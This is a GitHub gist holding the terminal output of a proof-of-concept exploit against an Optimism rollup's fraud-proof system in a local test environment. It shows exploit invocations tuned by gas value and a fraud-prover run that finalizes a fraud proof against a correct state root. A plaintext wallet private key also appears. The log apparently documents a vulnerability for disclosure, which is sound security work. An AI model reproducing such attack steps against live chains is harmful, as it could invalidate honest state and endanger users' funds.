Skip to content

Instantly share code, notes, and snippets.

@yoavw
Created March 12, 2022 22:58
Show Gist options
  • Save yoavw/9518419b5da00604cbba97325f28004c to your computer and use it in GitHub Desktop.
Save yoavw/9518419b5da00604cbba97325f28004c to your computer and use it in GitHub Desktop.
user@testenv:~/optimism/optimism-ts-services$ ./exploit3.py 24000
0xB14b2f8e5c2054e265aBD2145684434FF05E3114
Failed: not enough gas
user@testenv:~/optimism/optimism-ts-services$ ./exploit3.py 2400000
0xf831f49Aef4D0F8396C00B30a3777648675dB663
Failed: too much gas - nonce incremented
user@testenv:~/optimism/optimism-ts-services$ ./exploit3.py 240000
0xcF5d25F0D37093df3cD3771420D87b98F8551FEc
Success! Run fraud prover:
ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX=4 FORCE_BAD_ROOT=5 exec/run-fraud-prover.js
user@testenv:~/optimism/optimism-ts-services$ ADDRESS_MANAGER=0x3e4CFaa8730092552d9425575E49bB542e329981 L1_WALLET_KEY=0x754fde3f5e60ef2c7649061e06957c29017fe21032a8017132c0078e37f6193a L2_NODE_WEB3_URL='http://localhost:8545/' L1_NODE_WEB3_URL='http://localhost:9545/' RUN_GAS_LIMIT=9500000 FROM_L2_TRANSACTION_INDEX=4 FORCE_BAD_ROOT=5 exec/run-fraud-prover.js
{"level":30,"time":1646967917884,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Service is starting..."}
{"level":30,"time":1646967917885,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Service is initializing..."}
{"level":30,"time":1646967917885,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x023fFdC1530468eb8c8EEbC3e38380b5bc19Cc5d","msg":"Using L1 EOA"}
{"level":30,"time":1646967917885,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Trying to connect to the L1 network..."}
{"level":30,"time":1646967917901,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Successfully connected to the L1 network."}
{"level":30,"time":1646967917901,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Trying to connect to the L2 network..."}
{"level":30,"time":1646967917904,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Successfully connected to the L2 network."}
{"level":30,"time":1646967917904,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to Lib_AddressManager..."}
{"level":30,"time":1646967917907,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x3e4CFaa8730092552d9425575E49bB542e329981","msg":"Connected to Lib_AddressManager"}
{"level":30,"time":1646967917907,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_StateCommitmentChain..."}
{"level":30,"time":1646967917931,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x5736b4030Dc0A2aEC72c42C5f1b937E8CAFe46CE","msg":"Connected to OVM_StateCommitmentChain"}
{"level":30,"time":1646967917931,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_CanonicalTransactionChain..."}
{"level":30,"time":1646967917954,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x16Af4Db6548234c6463Ad6F0cf355260E96E741b","msg":"Connected to OVM_CanonicalTransactionChain"}
{"level":30,"time":1646967917954,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_FraudVerifier..."}
{"level":30,"time":1646967917974,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x7C9b37e50Ea69eB033216A3dce5e758Af086c2b4","msg":"Connected to OVM_FraudVerifier"}
{"level":30,"time":1646967917974,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connecting to OVM_ExecutionManager..."}
{"level":30,"time":1646967917993,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0xcF76fd262F9105a69A2AFe66aE11fc6930A267e7","msg":"Connected to OVM_ExecutionManager"}
{"level":30,"time":1646967917993,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Connected to all contracts."}
{"level":30,"time":1646967917993,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for relevant contracts, this might take a while..."}
{"level":30,"time":1646967917993,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for OVM_StateCommitmentChain..."}
{"level":30,"time":1646967918012,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Caching events for OVM_CanonicalTransactionChain..."}
{"level":30,"time":1646967918050,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Finished caching events!"}
{"level":30,"time":1646967918050,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Service has initialized."}
{"level":30,"time":1646967923056,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Looking for mismatched state roots..."}
{"level":30,"time":1646967923116,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":0,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646967923118,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"State root was not mismatched ✓"}
{"level":30,"time":1646967923118,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":1,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646967923121,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"State root was not mismatched ✓"}
{"level":30,"time":1646967923122,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":2,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646967923127,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"State root was not mismatched ✓"}
{"level":30,"time":1646967923127,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":3,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646967923130,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"State root was not mismatched ✓"}
{"level":30,"time":1646967923130,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":4,"msg":"Checking state root for mismatch"}
{"level":30,"time":1646967923132,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Forcing a fraud proof for 4"}
{"level":30,"time":1646967923132,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","l1StateRoot":"0x4f4bf1a4303f6a9ff46a5dc189865f25113a4ea9bd297e96af81c99cbab46c26","msg":"L1 State Root"}
{"level":30,"time":1646967923132,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","l2StateRoot":"0x4f4bf1a4303f6a9ff46a5dc189865f25113a4ea9bd297e96af81c99cbab46c26","msg":"L2 State Root"}
{"level":30,"time":1646967923132,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","index":4,"msg":"Found a mismatched state root"}
{"level":30,"time":1646967923132,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Pulling fraud proof data..."}
{"level":30,"time":1646967923133,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Getting pre-state root inclusion proof..."}
{"level":30,"time":1646967923168,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Getting post-state root inclusion proof..."}
{"level":30,"time":1646967923202,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Getting transaction inclusion proof..."}
{"level":30,"time":1646967923255,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Getting state diff proof..."}
{"level":30,"time":1646967923267,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Initializing the fraud verification process..."}
{"level":30,"time":1646967924329,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Loading fraud proof contracts..."}
{"level":30,"time":1646967924369,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Loading the state transitioner..."}
{"level":30,"time":1646967924382,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","stateTransitionerAddress":"0xc4f4BA98E2eCF2901864f1Ee5230342AdEB7e75C","msg":"State transitioner"}
{"level":30,"time":1646967924382,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Loading the corresponding state manager..."}
{"level":30,"time":1646967924401,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","stateManagerAddress":"0x42692C26653d25838Fac0467876De4eAf4B3a713","msg":"State manager"}
{"level":30,"time":1646967924416,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the PRE_EXECUTION phase."}
{"level":30,"time":1646967924416,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Proving account states..."}
{"level":30,"time":1646967924416,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","msg":"Attempting to prove account state"}
{"level":30,"time":1646967924451,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0x22247e1bC94a8E640f179b2b1e8B50bF54C4e0F3
{"level":30,"time":1646967924544,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646967925145,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646967925145,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x2222222222222222222222222222222222222222","msg":"Attempting to prove account state"}
{"level":30,"time":1646967925610,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646967925610,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000003","msg":"Attempting to prove account state"}
{"level":30,"time":1646967925654,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0xdcc6a1EB6Ec0daB3813A485F36288E7E731dD0da
{"level":30,"time":1646967925768,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646967926245,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646967926245,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0xcf5d25f0d37093df3cd3771420d87b98f8551fec","msg":"Attempting to prove account state"}
{"level":30,"time":1646967926258,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0x251b0aEbbe9D3e5281a699f45517D80Dd938eDa0
{"level":30,"time":1646967926312,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646967926835,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646967926835,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000005","msg":"Attempting to prove account state"}
{"level":30,"time":1646967926858,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Need to deploy a copy of the account first..."}
0xc1A31C42B4189AFaB345aa5aD9F6D169494E87C2
{"level":30,"time":1646967926933,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Deployed a copy of the account, attempting proof..."}
{"level":30,"time":1646967927543,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account state proven."}
{"level":30,"time":1646967927543,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Proving storage slot states..."}
{"level":30,"time":1646967927544,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xae6b5d51c59d64c67f80ef3d4e8d1fe4fbd3eb941199eb36790f297f153c2aa0","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967927864,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967927864,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xf83f790075f80cecd269ad4b79c9b9e2fef485613d648da145cfd2c00dfb3376","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967928138,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967928138,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967928407,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967928407,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xd67bd457dcb666f8303c929c3f10310be683f9cc1c84dc8e2672087a5bdffeee","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967928717,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967928718,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000006","key":"0xb65106bdecdd2bd99123db6a8ebb13b194fa2257c77def147e5ecfd3b8f4cb6e","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967929020,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967929020,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000003","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967929154,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967929154,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0xcf5d25f0d37093df3cd3771420d87b98f8551fec","key":"0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddeaddead","value":"0x4200000000000000000000000000000000000003","msg":"Attempting to prove slot."}
{"level":30,"time":1646967929562,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967929562,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0xcf5d25f0d37093df3cd3771420d87b98f8551fec","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967929874,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967929874,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x2222222222222222222222222222222222222222","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967930027,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
{"level":30,"time":1646967930028,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0x4200000000000000000000000000000000000005","key":"0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef","value":"0x0","msg":"Attempting to prove slot."}
{"level":30,"time":1646967930168,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Slot value proven."}
0
9500000
{
blockNumber: 8,
timestamp: 1646967080,
gasLimit: BigNumber { _hex: '0x895440', _isBigNumber: true },
gasPrice: 0,
entrypoint: '0x4200000000000000000000000000000000000005',
l1TxOrigin: '0x0000000000000000000000000000000000000000',
l1QueueOrigin: 0,
data: '0x00ea2f5f3bfd2688ef982708f9a082b64b7ffbcaba836d8be0bea5697e4aec7e5a7d9ed15d89b928c09f02b33f4104de03eab22377242f07cd9d700e0d32efb2a70003a9800000000000012222222222222222222222222222222222222222'
}
{"level":30,"time":1646967930183,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Executing transaction..."}
{"level":30,"time":1646967930626,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Phase was completed by someone else, moving on."}
{"level":30,"time":1646967930642,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the POST_EXECUTION phase."}
{"level":30,"time":1646967930642,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Committing storage slot state updates..."}
{"level":30,"time":1646967930656,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Committing account state updates..."}
{"level":30,"time":1646967930870,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","address":"0xcf5d25f0d37093df3cd3771420d87b98f8551fec","balance":{"type":"BigNumber","hex":"0x00"},"nonce":{"type":"BigNumber","hex":"0x02"},"storageRoot":"0x75d420245863567e51996db1c1a5e781bcf2a94d7f8d8c0eb549ee6c82b3a8cc","codeHash":"0x93556a6d522eaf218b0a2363868f4e029c67e9a9c7bd6d4da605e45a9242e7ea","msg":"Attempting to commit account."}
{"level":30,"time":1646967931236,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Account committed."}
{"level":30,"time":1646967931246,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Completing the state transition..."}
{"level":30,"time":1646967931332,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"State transition completed."}
{"level":30,"time":1646967931347,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof is now in the COMPLETE phase."}
{"level":30,"time":1646967931347,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Attempting to finalize the fraud proof..."}
State roots: 0x4f4bf1a4303f6a9ff46a5dc189865f25113a4ea9bd297e96af81c99cbab46c26 0x4f4bf1a4303f6a9ff46a5dc189865f25113a4ea9bd297e96af81c99cbab46c26
{"level":30,"time":1646967932747,"pid":1622712,"hostname":"testenv","name":"Fraud Prover","msg":"Fraud proof finalized! Congrats."}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment